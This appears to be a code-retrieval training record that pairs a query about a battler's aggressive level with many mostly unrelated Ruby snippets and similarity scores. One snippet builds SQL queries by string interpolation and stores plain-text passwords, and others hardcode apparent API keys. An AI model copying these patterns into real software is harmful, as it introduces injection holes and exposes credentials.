"def execute\n space_slug = @parameters[\"space_slug\"].empty? ? @info_values[\"space_slug\"] : @parameters[\"space_slug\"]\n if @info_values['api_server'].include?(\"${space}\")\n server = @info_values['api_server'].gsub(\"${space}\", space_slug)\n elsif !space_slug.to_s.empty?\n server = @info_values['api_server']+\"/\"+space_slug\n else\n server = @info_values['api_server']\n end\n\n api_username = URI.encode(@info_values[\"api_username\"])\n api_password = @info_values[\"api_password\"]\n api_server = @info_values[\"api_server\"]\n kapp_slug = @parameters[\"kapp_slug\"]\n form_slug = @parameters[\"form_slug\"]\n query = @parameters[\"query\"]\n error_handling = @parameters[\"error_handling\"]\n\n api_route = \"#{server}/app/api/v1/kapps/#{kapp_slug}/forms/#{form_slug}/submissions\" +\n \"?include=details,origin,parent,form,type&limit=1&q=#{URI.escape(query)}\"\n\n puts \"API ROUTE: #{api_route}\" if @enable_debug_logging\n\n resource = RestClient::Resource.new(api_route, { :user => api_username, :password => api_password })\n\n response = resource.get\n\n # if the user record did not exist\n if response.nil?\n <<-RESULTS\n <results>\n <result name=\"ID\"></result>\n <result name=\"Label\"></result>\n <result name=\"Origin\"></result>\n <result name=\"Parent\"></result>\n <result name=\"Submitted At\"></result>\n <result name=\"Type\"></result>\n <result name=\"Updated At\"></result>\n <result name=\"Updated By\"></result>\n <result name=\"Closed At\"></result>\n <result name=\"Core State\"></result>\n <result name=\"Created At\"></result>\n <result name=\"Created By\"></result>\n <result name=\"Form Description\"></result>\n <result name=\"Form Name\"></result>\n <result name=\"Form Notes\"></result>\n <result name=\"Form Slug\"></result>\n <result name=\"Form Status\"></result>\n </results>\n RESULTS\n else\n\n allresults = JSON.parse(response)[\"submissions\"]\n puts \"Full RESULTS: #{allresults.inspect}\" if @enable_debug_logging\n results = allresults[0]\n\n puts \"RESULTS: #{results.inspect}\" if @enable_debug_logging\n\n if results.nil?\n <<-RESULTS\n <results>\n <result name=\"Handler Error Message\"></result>\n <result name=\"ID\"></result>\n <result name=\"Label\"></result>\n <result name=\"Origin\"></result>\n <result name=\"Parent\"></result>\n <result name=\"Submitted At\"></result>\n <result name=\"Type\"></result>\n <result name=\"Updated At\"></result>\n <result name=\"Updated By\"></result>\n <result name=\"Closed At\"></result>\n <result name=\"Core State\"></result>\n <result name=\"Created At\"></result>\n <result name=\"Created By\"></result>\n <result name=\"Form Description\"></result>\n <result name=\"Form Name\"></result>\n <result name=\"Form Notes\"></result>\n <result name=\"Form Slug\"></result>\n <result name=\"Form Status\"></result>\n </results>\n RESULTS\n else\n <<-RESULTS\n <results>\n <result name=\"Handler Error Message\"></result>\n <result name=\"ID\">#{escape(results[\"id\"])}</result>\n <result name=\"Label\">#{escape(results[\"label\"])}</result>\n <result name=\"Origin\">#{escape(results[\"origin\"])}</result>\n <result name=\"Parent\">#{escape(results[\"parent\"])}</result>\n <result name=\"Submitted At\">#{escape(results[\"submittedAt\"])}</result>\n <result name=\"Type\">#{escape(results[\"type\"])}</result>\n <result name=\"Updated At\">#{escape(results[\"updatedAt\"])}</result>\n <result name=\"Updated By\">#{escape(results[\"updatedBy\"])}</result>\n <result name=\"Closed At\">#{escape(results[\"closedAt\"])}</result>\n <result name=\"Core State\">#{escape(results[\"coreState\"])}</result>\n <result name=\"Created At\">#{escape(results[\"createdAt\"])}</result>\n <result name=\"Created By\">#{escape(results[\"createdBy\"])}</result>\n <result name=\"Form Description\">#{escape(results[\"form\"][\"description\"])}</result>\n <result name=\"Form Name\">#{escape(results[\"form\"][\"name\"])}</result>\n <result name=\"Form Notes\">#{escape(results[\"form\"][\"notes\"])}</result>\n <result name=\"Form Slug\">#{escape(results[\"form\"][\"slug\"])}</result>\n <result name=\"Form Status\">#{escape(results[\"form\"][\"status\"])}</result>\n </results>\n RESULTS\n end\n end\n\n rescue RestClient::Exception => error\n error_message = JSON.parse(error.response)[\"error\"]\n if error_handling == \"Raise Error\"\n raise error_message\n else\n <<-RESULTS\n <results>\n <result name=\"Handler Error Message\">#{error.http_code}: #{escape(error_message)}</result>\n </results>\n RESULTS\n end\n end",
"def create\n update\n end",
"def test_getting_herbarium_records\n params = { method: :get, action: :herbarium_record }\n\n recs = HerbariumRecord.where(HerbariumRecord[:created_at].year == 2012)\n assert_not_empty(recs)\n assert_api_pass(params.merge(created_at: \"2012\"))\n assert_api_results(recs)\n\n recs = HerbariumRecord.where(HerbariumRecord[:updated_at].year == 2017)\n assert_not_empty(recs)\n assert_api_pass(params.merge(updated_at: \"2017\"))\n assert_api_results(recs)\n\n recs = HerbariumRecord.where(user: mary)\n assert_not_empty(recs)\n assert_api_pass(params.merge(user: \"mary\"))\n assert_api_results(recs)\n\n herb = herbaria(:nybg_herbarium)\n recs = herb.herbarium_records\n assert_not_empty(recs)\n assert_api_pass(params.merge(herbarium: \"The New York Botanical Garden\"))\n assert_api_results(recs)\n\n obs = observations(:detailed_unknown_obs)\n recs = obs.herbarium_records\n assert_not_empty(recs)\n assert_api_pass(params.merge(observation: obs.id))\n assert_api_results(recs)\n\n recs = HerbariumRecord.where(HerbariumRecord[:notes].matches(\"%dried%\"))\n assert_not_empty(recs)\n assert_api_pass(params.merge(notes_has: \"dried\"))\n assert_api_results(recs)\n\n recs = HerbariumRecord.where(HerbariumRecord[:notes].blank)\n assert_not_empty(recs)\n assert_api_pass(params.merge(has_notes: \"no\"))\n assert_api_results(recs)\n\n recs = HerbariumRecord.where(HerbariumRecord[:notes].not_blank)\n assert_not_empty(recs)\n assert_api_pass(params.merge(has_notes: \"yes\"))\n assert_api_results(recs)\n\n recs = HerbariumRecord.where(initial_det: \"Coprinus comatus\")\n assert_not_empty(recs)\n assert_api_pass(params.merge(initial_det: \"Coprinus comatus\"))\n assert_api_results(recs)\n\n recs = HerbariumRecord.where(\n HerbariumRecord[:initial_det].matches(\"%coprinus%\")\n )\n assert_not_empty(recs)\n assert_api_pass(params.merge(initial_det_has: \"coprinus\"))\n assert_api_results(recs)\n\n recs = HerbariumRecord.where(accession_number: \"1234\")\n assert_not_empty(recs)\n assert_api_pass(params.merge(accession_number: \"1234\"))\n assert_api_results(recs)\n\n recs = HerbariumRecord.where(\n HerbariumRecord[:accession_number].matches(\"%23%\")\n )\n assert_not_empty(recs)\n assert_api_pass(params.merge(accession_number_has: \"23\"))\n assert_api_results(recs)\n end",
"def test_update_user()\n # Parameters for the API call\n\n metadata = JSON.parse('{'\\\n '\"email\": \"testrubyapi@user.com\",'\\\n '\"name\": \"ruby api user\",'\\\n '\"custom\": \"testdata\"'\\\n '}')\n\n campaign_model = CampaignModel.new()\n campaign_model.utm_source = \"Newsletter\"\n campaign_model.utm_medium = \"Email\"\n\n user_model = UserModel.new()\n user_model.modified_time = Time.now.utc.iso8601\n user_model.user_id = \"12345\"\n user_model.company_id = \"67890\"\n user_model.metadata = metadata\n user_model.campaign = campaign_model\n\n # Perform the API call through the SDK function\n self.class.controller.update_user(user_model)\n\n # Test response code\n assert_equal(@response_catcher.response.status_code, 201)\n end",
"def setup_api_client\n # see http://rubydoc.info/github/heroku/databasedotcom/master/Databasedotcom/Client:initialize\n # add :debugging => true to constructor hash to log API request/responses\n #u = current_user\n #debugger\n @client = Databasedotcom::Client.new({})\n @client.version = API_VERSION\n @client.authenticate :token => @current_user.access_token,\n :refresh_token => @current_user.refresh_token,\n :instance_url => @current_user.instance_url\n @client.materialize(\"Account\")\n end",
"def index\n @run ||= Rails.application.load_seed\n\n # raw_url = \"https://developer.nps.gov/api/v1/parks?parkCode=#{PARKS.join(\",\")}&api_key=#{API_KEY}&limit=#{PARKS.size}\"\n # uri = URI.parse(raw_url)\n # response = Net::HTTP.get_response(uri)\n #\n # if response.code == \"200\"\n # puts \"SUCCESS RESPONSE\"\n # result = JSON.parse(response.body)\n #\n # result[\"data\"].each do |doc|\n # park = Park.new\n # park.name = doc[\"fullName\"]\n # park.park_code = doc[\"parkCode\"]\n # park.description = doc[\"description\"]\n # park.url = doc[\"url\"]\n # park.latitude = doc[\"latitude\"].to_f\n # park.longitude = doc[\"longitude\"].to_f\n # park.state = doc[\"states\"]\n # park.email = doc[\"contacts\"][\"emailAddresses\"]&[0]&[\"emailAddress\"]\n # park.phone = doc[\"contacts\"][\"phoneNumbers\"].find { |number| number[\"type\"] == \"Voice\" }\n # park.fax = doc[\"contacts\"][\"phoneNumbers\"].find { |number| number[\"type\"] == \"Voice\" }\n # park.directions = doc[\"directionsInfo\"]\n # park.directions_url = doc[\"directionsUrl\"]\n # park.weather = doc[\"weatherInfo\"]\n #\n # park.save!\n #\n # doc[\"entranceFees\"].each do |fee|\n # new_fee = Fee.new\n #\n # new_fee.title = fee[\"title\"]\n # new_fee.description = fee[\"description\"]\n # new_fee.cost = fee[\"cost\"]\n #\n # new_fee.park_id = park.id\n #\n # new_fee.save!\n # end\n #\n # doc[\"addresses\"].each do |address|\n # new_address = Address.new\n #\n # new_address.type = address[\"type\"]\n # new_address.line_1 = address[\"line1\"]\n # new_address.line_2 = address[\"line2\"]\n # new_address.city = address[\"city\"]\n # new_address.state = address[\"state\"]\n # new_address.postal_code = address[\"postalCode\"]\n #\n # new_address.park_id = park.id\n #\n # new_address.save!\n # end\n #\n # doc[\"images\"].each do |image|\n # new_image = Image.new\n #\n # new_image.title = image[\"title\"]\n # new_image.caption = image[\"caption\"]\n # new_image.alt_text = image[\"altText\"]\n # new_image.credit = image[\"credit\"]\n # new_image.url = image[\"url\"]\n #\n # new_image.park_id = park.id\n #\n # new_image.save!\n # end\n # end\n # else\n # puts 'BAD RESPONSE'\n # pp response\n # end\n\n @parks = Park.all\n\n end",
"def set_api(*args); end",
"def set_api(*args); end",
"def test_the_application_can_create_an_item\n # Send a POST request to '/items' endpoint that creates a new item\n # with a title of 'Learn to test controllers' and a description 'This is great'\n # Assert that the controller responds with a status of 200\n # Assert that the controller responds with a body of 'Item created'\n # Assert that the ToDo table has an item in it\n end",
"def createRecipeFromAPI(randRecipe)\n # make a recipe obj to create for our DB\n recipe = Recipe.create(title: randRecipe[\"title\"], cookbook: Cookbook.all.sample, instructions: randRecipe[\"instructions\"])\n photo = Photo.create(recipe: recipe, img_url: randRecipe[\"image\"], description: \"test photo\")\n ingredients = randRecipe[\"extendedIngredients\"].map do |ing| \n ingredient = Ingredient.find_or_create_by(name: ing[\"name\"].titlecase)\n ri = RecipeIngredient.create(recipe: recipe, ingredient: ingredient, quantity: \"#{ing[\"amount\"]} #{ing[\"unit\"]}\")\n end\nend",
"def make_api_call \n Artist.all.each do |artist|\n request = RestClient.get(\"https://api.songkick.com/api/3.0/artists/#{artist.song_kick_id}/calendar.json?apikey=zIDG2c72WHINjQ8Y\")\n artist_data = JSON.parse(request)\n create_event(artist_data, artist.id)\n end \n \nend",
"def add_post_with_http_info(api_key, access_token, list, body, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: DBOperationsApi.add_post ...\"\n end\n # verify the required parameter 'api_key' is set\n fail ArgumentError, \"Missing the required parameter 'api_key' when calling DBOperationsApi.add_post\" if api_key.nil?\n # verify the required parameter 'access_token' is set\n fail ArgumentError, \"Missing the required parameter 'access_token' when calling DBOperationsApi.add_post\" if access_token.nil?\n # verify the required parameter 'list' is set\n fail ArgumentError, \"Missing the required parameter 'list' when calling DBOperationsApi.add_post\" if list.nil?\n # verify the required parameter 'body' is set\n fail ArgumentError, \"Missing the required parameter 'body' when calling DBOperationsApi.add_post\" if body.nil?\n # resource path\n local_var_path = \"/Add\".sub('{format}','json')\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n header_params[:'APIKey'] = api_key\n header_params[:'AccessToken'] = access_token\n header_params[:'List'] = list\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(body)\n auth_names = []\n data, status_code, headers = @api_client.call_api(:POST, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'AddResponse')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DBOperationsApi#add_post\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def create\n \n end",
"def api_object\n unless $api\n $api = FyberAPI.new(\n 'b07a12df7d52e6c118e5d47d3f9e60135b109a1f',\n {\n appid: 157,\n format: 'json',\n device_id: '2b6f0cc904d137be2e1730235f5664094b83',\n locale: 'de',\n ip: '109.235.143.113'\n }\n )\n end\n $api\n end",
"def list_post_with_http_info(api_key, access_token, list, body, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: DBOperationsApi.list_post ...\"\n end\n # verify the required parameter 'api_key' is set\n fail ArgumentError, \"Missing the required parameter 'api_key' when calling DBOperationsApi.list_post\" if api_key.nil?\n # verify the required parameter 'access_token' is set\n fail ArgumentError, \"Missing the required parameter 'access_token' when calling DBOperationsApi.list_post\" if access_token.nil?\n # verify the required parameter 'list' is set\n fail ArgumentError, \"Missing the required parameter 'list' when calling DBOperationsApi.list_post\" if list.nil?\n # verify the required parameter 'body' is set\n fail ArgumentError, \"Missing the required parameter 'body' when calling DBOperationsApi.list_post\" if body.nil?\n # resource path\n local_var_path = \"/List\".sub('{format}','json')\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n header_params[:'APIKey'] = api_key\n header_params[:'AccessToken'] = access_token\n header_params[:'List'] = list\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(body)\n auth_names = []\n data, status_code, headers = @api_client.call_api(:POST, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DBOperationsApi#list_post\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def execute\n space_slug = @parameters[\"space_slug\"].empty? ? @info_values[\"space_slug\"] : @parameters[\"space_slug\"]\n if @info_values['api_server'].include?(\"${space}\")\n server = @info_values['api_server'].gsub(\"${space}\", space_slug)\n elsif !space_slug.to_s.empty?\n server = @info_values['api_server']+\"/\"+space_slug\n else\n server = @info_values['api_server']\n end\n\n username = URI.encode(@info_values[\"api_username\"])\n password = @info_values[\"api_password\"]\n error_handling = @parameters[\"error_handling\"]\n\n route_base = \"#{server}/app/api/v1/teams\"\n\n puts \"API ROUTE: #{route_base}\" if @debug_logging_enabled\n\n resource = RestClient::Resource.new(route_base, { :user => username, :password => password })\n\n # Building the object that will be sent to Kinetic Core\n dataHash = {}\n\tdataHash[\"name\"] = @parameters[\"team_name\"]\n\tif !@parameters[\"members\"].empty?\n\t\tmembers = JSON.parse(@parameters[\"members\"])\n\t\tmembership = []\n\t\tmembers.each do |member|\n\t\t username = {}\n\t\t username[\"username\"] = member\n\t\t user = {}\n\t\t user[\"user\"] = username\n\t\t membership.push(user)\n\t\tend\n\t\tdataHash[\"memberships\"] = membership\n\tend\n\n\tputs \"DATA: #{dataHash.to_json}\" if @debug_logging_enabled\n\tbegin\n\t#create\n response = resource.post(dataHash.to_json, { accept: :json, content_type: :json })\n\n\n # Build the results to be returned by this handler\n <<-RESULTS\n <results>\n <result name=\"Handler Error Message\"></result>\n </results>\n RESULTS\n\n rescue RestClient::Exception => error\n error_message = JSON.parse(error.response)[\"error\"]\n if error_handling == \"Raise Error\"\n raise error_message\n else\n <<-RESULTS\n <results>\n <result name=\"Handler Error Message\">#{error.http_code}: #{escape(error_message)}</result>\n </results>\n RESULTS\n end\n end\n end",
"def index\n @api_tasks = Api::Task.all\n end",
"def crud_get(resource_name, service_name, primary_key_name, api_options = {})\n api_options = get_defaults(api_options)\n get '/'+resource_name+'/:'+primary_key_name do\n service = settings.send(service_name)\n\n sanitize_params(params)\n return 400 unless service.valid_query?(params)\n\n record = service.get_one_by_query(params)\n return 404 if record.nil?\n JSON.fast_generate record\n end\n end",
"def index\n @api_v1_questions = Api::V1::Question.all\n end",
"def update_recipe(db,id,description)\n # your code here\nend",
"def set_api_carrusel\n @api_carrusel = Carrusel.find(params[:id])\n end",
"def initialize(api)\n @api = api\n end",
"def setup_apigateway_create_rest_api(api_name, api_description)\r\n puts 'Creating API with name ' + api_name\r\n api = @client.create_rest_api(name: api_name, description: api_description)\r\n api.id\r\n end",
"def save_user\n client = create_db_client\n client.query(\"INSERT INTO users(name, email, password, bio) VALUES('#{@name}', '#{@email}', '#{@password}', '#{@bio}')\")\n \n id = client.last_id\n rawData = client.query(\"SELECT * FROM users WHERE id='#{id}'\")\n users = Array.new\n rawData.each do |data|\n user = {:id => data[\"id\"], :name => data[\"name\"] ,:email => data[\"email\"], :password => data[\"password\"], :bio => data[\"bio\"]}\n users << user\n end\n response = Response.new('success', 'success input user', users)\n return response.response_api\n end"
] |
[
"0.63147134",
"0.63147134",
"0.6197791",
"0.6041492",
"0.59219843",
"0.59210443",
"0.59193707",
"0.58374035",
"0.58264816",
"0.5819316",
"0.5808636",
"0.5782093",
"0.5775803",
"0.57510877",
"0.574921",
"0.5739456",
"0.5739456",
"0.5737173",
"0.57363474",
"0.5731568",
"0.57167685",
"0.5711993",
"0.56845856",
"0.5676911",
"0.56498164",
"0.56498164",
"0.56481516",
"0.56093645",
"0.56009734",
"0.55841875",
"0.55713254",
"0.55652624",
"0.5545164",
"0.5516309",
"0.5512095",
"0.5506207",
"0.55015",
"0.5497775",
"0.5488592",
"0.54884464",
"0.5483805",
"0.5480804",
"0.5478526",
"0.54615647",
"0.5459596",
"0.54487324",
"0.54481864",
"0.5435093",
"0.5433893",
"0.5429527",
"0.5429527",
"0.54255867",
"0.5424576",
"0.5414064",
"0.5413121",
"0.5408299",
"0.5399193",
"0.53989047",
"0.5391825",
"0.53851414",
"0.5383267",
"0.5366459",
"0.5365026",
"0.5361165",
"0.53596383",
"0.5355894",
"0.53532875",
"0.5348905",
"0.53459376",
"0.53458774",
"0.5345004",
"0.53420013",
"0.5341328",
"0.532725",
"0.53214955",
"0.5321231",
"0.5317427",
"0.531659",
"0.53126997",
"0.5310101",
"0.53068405",
"0.5302834",
"0.5294882",
"0.5284151",
"0.5284151",
"0.52793247",
"0.5275962",
"0.5273839",
"0.52657485",
"0.52646106",
"0.5262559",
"0.5259669",
"0.5255836",
"0.52536184",
"0.52433205",
"0.5236883",
"0.5231823",
"0.52249",
"0.5223635",
"0.522066",
"0.521815"
] |
0.0
|
-1
|
Get current battler's aggressive level
|
def get_reaction_name
return "" unless @battler
return "" unless @battler.aggressive_level
return ":" + $data_states[PONY::StateID[:aggressive_level][@battler.aggressive_level]].name
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def getBasicValue\n combatLevel \n end",
"def getCombatLevel\n combatLevel = @level\n @visibleTreasures.each { |treasure| combatLevel += treasure.getBonus}\n combatLevel\n end",
"def effective_level\n level + level_bonus\n end",
"def level_bonus\n (MAX_LEVEL - level) / MAX_LEVEL\n end",
"def getSpecialValue\n combatLevel + @levelChangeAgainstCultistPlayer\n end",
"def getOponentLevel(monster)\n monster.getBasicValue\n end",
"def getOponentLevel(m)\n m.getCombatLevel\n end",
"def aggressive\n return (@host.battler == nil ? false : (@host.battler.force_aggressive > 0 ?\n @host.battler.force_aggressive : @host.battler.aggressive))\n end",
"def getCombatLevel()\n sum_bonus=0\n \n while i< @visibleTreasures.size\n i=i+1\n sum_bonus = @visibleTreasures.fetch(i).bonus + sum_bonus\n end\n \n @level = @level + sum_bonus\n end",
"def getCombatLevel\n super + @myCultistCard.getSpecialValue\n end",
"def getCombatLevel\n tr_types = @visibleTreasures.map(&:kind)\n if tr_types.include? TreasureKind::NECKLACE\n return @visibleTreasures.inject(@level){ |sum,x| sum += x.maxBonus }\n else\n return @visibleTreasures.inject(@level){ |sum,x| sum += x.minBonus }\n end\n end",
"def max_opac\n return @battler.max_opac if @battler\n return 255\n end",
"def base_damage(level = @skl_level)\n return @skl_levelcache[level][:base_damage]\n end",
"def battler_hue\n return 0\n end",
"def encounter_balloon_speed\n TH::Encounter_Alert::Balloon_Speed\n end",
"def max_health(level)\n (self.health + self.health*0.1*(level-1)).to_i\n end",
"def energy\n combatant.maximum_energy\n end",
"def max_charging_power; end",
"def exp_lvl\n data = GameData::EXP_TABLE[exp_type]\n v = data[@level + 1]\n return data[@level] if !v || ($pokemon_party&.level_max_limit).to_i <= @level\n\n return v\n end",
"def balloon_speed\n return (@battler.nil? ? BALLOON_SPEED : @battler.balloon_speed)\n end",
"def get_exp\n exp = 0\n exp = (((@hero.max_health - @hero.cur_health) * 0.85) * @monster.level).round if @winner\n return exp\n end",
"def gain_relative_to_current\n -1+(post_heal / pre_heal)\n end",
"def get_vibration\n $game_system.vibration_rate\n end",
"def gain_gold\n if $game_troop.gold_total > 0\n rate = Grade.rate(:gold)\n gold = $game_troop.gold_total\n gold = gold * rate / 100\n $game_party.gain_gold(gold)\n else\n gold = 0\n end\n return gold\n end",
"def level; self['Amplifier'] end",
"def base_atk\n weapon = $data_weapons[@weapon_id]\n return weapon != nil ? weapon.atk : 0\n end",
"def atk_action_lmt\n return 0 if (b=battler).nil?\n b.attack_action_lmt + atk_lmt_equip_mod\n end",
"def current_user_level\n current_user.level\n end",
"def data_battler\n enemy\n end",
"def suggestedLevel\r\n minLevel = 1\r\n maxLevel = GameData::GrowthRate.max_level\r\n num = self.suggestedNumber\r\n for rule in @pokemonRules\r\n if rule.is_a?(MinimumLevelRestriction)\r\n minLevel = rule.level\r\n elsif rule.is_a?(MaximumLevelRestriction)\r\n maxLevel = rule.level\r\n end\r\n end\r\n totalLevel = maxLevel * num\r\n for rule in @subsetRules\r\n totalLevel = rule.level if rule.is_a?(TotalLevelRestriction)\r\n end\r\n return [maxLevel, minLevel].max if totalLevel >= maxLevel * num\r\n return [totalLevel / self.suggestedNumber, minLevel].max\r\n end",
"def base_maxhp\n return enemy.maxhp\n end",
"def gold_rate; CPanel::GOLDRATE; end",
"def grade_as_level\n User::GRADES[grade][:level]\n end",
"def max_gauge\n data[:max_gauge]\n end",
"def base_maxhp\n return $data_enemies[@enemy_id].maxhp\n end",
"def getSpecialValue\n maxBonus\n end",
"def returnTrainerLevel\r\n if !$Trainer\r\n @trainerLevel=0\r\n elsif $Trainer.party.length<1\r\n @trainerLevel=0\r\n else\r\n level=0; eggs=0\r\n for i in $Trainer.party\r\n if i.isEgg?\r\n eggs+=1\r\n else\r\n level+=i.level\r\n end\r\n end\r\n level=(level/($Trainer.party.length-eggs)).round\r\n if @trainerLevel\r\n if level>@trainerLevel\r\n @trainerLevel=level\r\n end\r\n else\r\n @trainerLevel=1\r\n end\r\n end\r\n return @trainerLevel\r\nend",
"def battler\n return nil if @tb_unit.nil?\n @tb_unit.battler\n end",
"def best_defense\n @teams.min_by { |team| team.average_goals_allowed }.team_name\n end",
"def api_regen_multiplier(level)\n if level >= User::Levels::GOLD\n 4\n else\n 1\n end\n end",
"def loyalty_allowance\n if @faculty.eligible_for_loyality_allowance?(@generation_date)\n ((component_criterias[:loyalty_allowance]/100)*basic) #* eligibility_fraction)\n end\n end",
"def max_gold\n MAX_GOLD_VARIABLE == -1 ? MAX_GOLD : $game_variables[MAX_GOLD_VARIABLE]\n end",
"def level_up_stat_refresh\n st = $game_temp.in_battle\n $game_temp.in_battle = false\n list0 = [max_hp, atk_basis, dfe_basis, ats_basis, dfs_basis, spd_basis]\n @level += 1 if @level < $pokemon_party.level_max_limit\n self.exp = exp_list[@level] if @exp < exp_list[@level].to_i\n self.exp = exp # Fix the exp amount\n hp_diff = list0[0] - @hp\n list1 = [max_hp, atk_basis, dfe_basis, ats_basis, dfs_basis, spd_basis]\n self.hp = (max_hp - hp_diff) if @hp > 0\n $game_temp.in_battle = st\n return [list0, list1]\n end",
"def current_access_level\n @wfd_current_fal + 1\n end",
"def badge_level(name)\n these_badges = self.badges.find_all { |b| b.name == name }\n if these_badges.any?\n these_badges.sort_by { |b| b.level }.last.level\n else\n 0\n end\n end",
"def attack()\n return @level + rand(3) - rand(3)\n end",
"def getBasicValue\n minBonus\n end",
"def get_difficulty\n if self.power < 3\n difficulty = 1\n elsif self.power >= 3 && self.power < 6\n difficulty = 2\n else\n difficulty = 3\n end\n end",
"def max_level\n infinity = Float::INFINITY\n return [@max_level || infinity, $pokemon_party.level_max_limit || infinity, PSDK_CONFIG.pokemon_max_level].min\n end",
"def highest_attack_power_weapon\n weapon = self.weapons.sort_by do |weapon|\n weapon.attack_power\n end.last\n weapon\n end",
"def level\n @level\n end",
"def get_battler\r\r\n id = get_event_battler_id\r\r\n if id == 0\r\r\n return default_battler\r\r\n else\r\r\n return Game_Enemy.new(0,id)\r\r\n end\r\r\n end",
"def target_tb_lmt\n return 0 if (b=battler).nil?\n b.target_tb_lmt + target_lmt_equip_mod\n end",
"def determine_damage\n if Random.rand(100) < critical_rate\n [fighter_attack * 2, FightEvent.attack_types['critical']]\n else\n [fighter_attack, FightEvent.attack_types['normal']]\n end\n end",
"def gain_exp\n rate = Grade.rate(:exp)\n $game_party.all_members.each do |actor|\n actor.gain_exp_cpv($game_troop.exp_total, rate)\n end\n return $game_troop.exp_total * rate / 100\n end",
"def damage\n @damage ||= [(@power * (rand + 0.5)).to_i - @defender.toughness, 0].max\n end",
"def apply_gain_exp(battler, exp, lev)\n plev = battler.level\n @log_window.show_exp_gain(battler, exp * battler.final_exp_rate) if !GTBS::POP_EXP\n battler.gain_exp(exp)\n if GTBS::POP_EXP\n battler.result.set_gain_exp(sprintf(Vocab_GTBS::POP_Gain_Exp, exp * battler.final_exp_rate))\n else\n if battler.level > plev\n lev[battler] = [plev, battler.level]\n end\n end\n end",
"def highest_total_score\n @game_manager.highest_total_score\n end",
"def mult_weapon_level (damagetype, user)\n if user == @attacker\n array = @attacker_level\n else\n array = @defender_level\n end\n mult = 0\n case damagetype\n when 1\n mult = array[2]\n when 2\n mult = array[3]\n when 3\n mult = array[4]\n end\n return mult\n end",
"def guild_achievements\r\n BnetApi::make_request('/wow/data/guild/achievements')\r\n end",
"def mult_weapon_level (damagetype, user)\n if user == @attacker\n array = @attacker_level\n else\n array = @defender_level\n end\n mult = 0\n case damagetype\n when 1\n mult = array[2]\n when 2\n mult = array[3]\n when 3\n mult = array[4]\n end\n return mult\n end",
"def current_difficulty_online\n difficulty = `curl http://blockexplorer.com/q/getdifficulty`\n return difficulty.to_f\n end",
"def total_exp_level\n lvl = self.lvl\n return (100 * (1 - @@exp_mul ** (lvl - 1)) / (1 - @@exp_mul))\n end",
"def board_difficulty\n Board.new.level\n end",
"def get_battery_state\n Input.battery_level\n end",
"def compute_damage\n\t\treturn rand(1..6) * @weapon_level\n\tend",
"def base_atk\n return $data_enemies[@enemy_id].atk\n end",
"def base_battler_name\n @base_battler_name\n end",
"def additional_z\n return 0 if [:idle, :hurt, :covered].include?(battle_phase) \n return 1 if covering\n return 2\n # Active battler displayed above another (increment by 2)\n end",
"def base_maxmp\n return enemy.maxmp\n end",
"def compute_damage\r\n return rand(1..6) * @weapon_level\r\n end",
"def getdifficulty\n coind.getdifficulty\n end",
"def compute_damage\n return rand(1..6) * @weapon_level\n end",
"def compute_damage\n return rand(1..6) * @weapon_level\n end",
"def battlers_number\n return @battlers_number.sum\n end",
"def loa_current\n assurance = safe_attr('va_eauth_credentialassurancelevel')&.to_i\n @loa_current ||= assurance.present? && assurance > 1 ? 3 : 1\n rescue NoMethodError, KeyError => e\n @warnings << \"loa_current error: #{e.message}\"\n @loa_current = 1\n end",
"def getCUsability()\n return @combat_usability\n end",
"def level\n @level\n end",
"def level\n @level\n end",
"def worst_defense\n @teams.max_by { |team| team.average_goals_allowed }.team_name\n end",
"def level\n return @level\n end",
"def level\n return @level\n end",
"def health\n (100 * @health.to_f / @max_health).round(2)\n end",
"def compute_damage\n super * @weapon_level\n end",
"def getHealth()\n return @hp\n end",
"def getHealth()\n return @hp\n end",
"def better_attack_stat(pokemon)\n if pokemon.base_stats[:attack] >= pokemon.base_stats[:special_attack]\n ['attack', pokemon.base_stats[:attack]]\n else\n ['special_attack', pokemon.base_stats[:special_attack]]\n end\n end",
"def pri_tclear\n team_stats.offensive_clear_rate\n end",
"def next_level_threshold\n self.next ? self.next.experience_points_threshold : experience_points_threshold\n end",
"def status\n monster = @game.current_room_model.monster\n return unless monster\n\n weapons = @game.player.weapons\n\n output = \"Fighting against #{monster.name}\\n\"\n weapons.each_with_index do |weapon, i|\n output << \"#{i + 1} - #{weapon}\\n\"\n end\n\n output\n end",
"def character_achievements\r\n BnetApi::make_request('/wow/data/character/achievements')\r\n end",
"def grade(level)\n roster.detect do |x, y|\n if x == level\n return y\n end\n end\n end",
"def HUDMovementLevels \n \"HUDMovementLevels\" \n end",
"def max_level\r\r\n @note =~ /<max[-_ ]?level:\\s*(.*)\\s*>/i ? @max_level = $1.to_i : @max_level = TH_Instance::Equip::Default_Max_Level if @max_level.nil?\r\r\n @max_level\r\r\n end",
"def max_altitude; end",
"def effect_chance\n return data.effect_chance\n end",
"def attack_bonus(lv)\n (110 * 3 * lv.to_f + 250) / 100 + 5\n end",
"def compute_damage\n rand(1..6) * @weapon_level\n end",
"def getAveSpeed()\n @demandStat[\"speedStat\"][\"average\"]\n end",
"def weaponDamage \n damage = self.weapon.damage\n if( self.weapon.type == :versatile && @shield.value == 0 )\n damage += 2\n end\n damage\n end"
] |
[
"0.7549608",
"0.70879817",
"0.70867574",
"0.70090246",
"0.69639707",
"0.69488525",
"0.6907802",
"0.6861772",
"0.68503183",
